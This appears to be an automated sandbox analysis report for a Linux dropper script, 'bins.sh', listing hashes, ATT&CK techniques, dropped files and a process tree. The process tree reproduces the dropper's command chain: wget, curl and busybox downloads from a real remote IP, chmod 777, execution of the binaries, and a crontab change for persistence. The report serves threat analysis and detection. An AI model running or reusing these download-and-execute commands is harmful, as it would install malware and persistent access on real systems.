ed0804977957488f570fda99c514fa0c6d363077f227de75b18857a47976523f

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 20:50

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General

Target

bins.sh
Size

10KB
MD5

acc93149a703834c82d35c5b31becff8
SHA1

c3d8bf660a21eb45784dc9329194a0e80df1afca
SHA256

ed0804977957488f570fda99c514fa0c6d363077f227de75b18857a47976523f
SHA512

f8a9605ba45f141cadc156e369c781a754c0b300c0e6b14b01f4bd4e8d20be1f1ed6e748456d97cd052148bfa5faf31b79bbb34e625a0bcaac1a04ab52d4d120
SSDEEP

192:mzkzszjA8AaiuKN1i72Pm2JG76GflnTlCQA1Z1ZdZc7PS9l9N9Me7xxq7maMV9LV:TWjruyx+F

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2207) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1515	chmod
1522	chmod

Executes dropped EXE 2 IoCs

Processes:

3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkdsjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

ioc	pid	Process
/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	1516	3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	1523	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Renames itself 1 IoCs

Processes:

sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

pid	Process
1524	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Rm5PuK	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

description	ioc	Process
File opened for reading	/proc/20/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/25/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/31/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1082/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/637/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1747/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/6/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1588/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1599/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1183/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1768/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/15/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1649/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1683/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/36/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1696/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1716/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/174/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1752/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/35/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/89/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1225/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1619/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1197/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1653/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/488/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1506/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1701/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1743/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/182/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/542/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1570/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1606/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1712/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1618/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1736/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/422/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1119/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1135/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1153/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1266/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1638/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1555/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1710/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1775/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1131/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1168/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1536/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1582/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1756/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1772/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1315/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1610/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1679/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1504/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1687/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/416/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1184/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1535/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1568/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/735/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1376/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1617/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
File opened for reading	/proc/1750/cmdline	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	wget
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	curl
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	busybox
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	wget
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	curl
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Executes dropped EXE
  PID:1516
- /bin/rm
  rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1523
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1525
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1526
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1527
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1528
- /bin/rm
  rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  PID:1530
- /usr/bin/wget
  wget http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  PID:1533

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.Rm5PuK

Filesize
210B

MD5
5f2ca39f66bb8c43ac763ca2b7b3a25a

SHA1
47b1ca0defd0f8977b46faf1399932effe89f732

SHA256
e28f79b83342f0b34874388555d018ffce08e33e0a18efffa52612ab6ff481ff

SHA512
78c1cfe1c135b20577f4aa49feca9c9086f688acd30d556a65c69de1046f98e15c6a830c55610f7e0f79e01cef6f761cd91e018f063d8bbea965f82d1326146b

Download Submit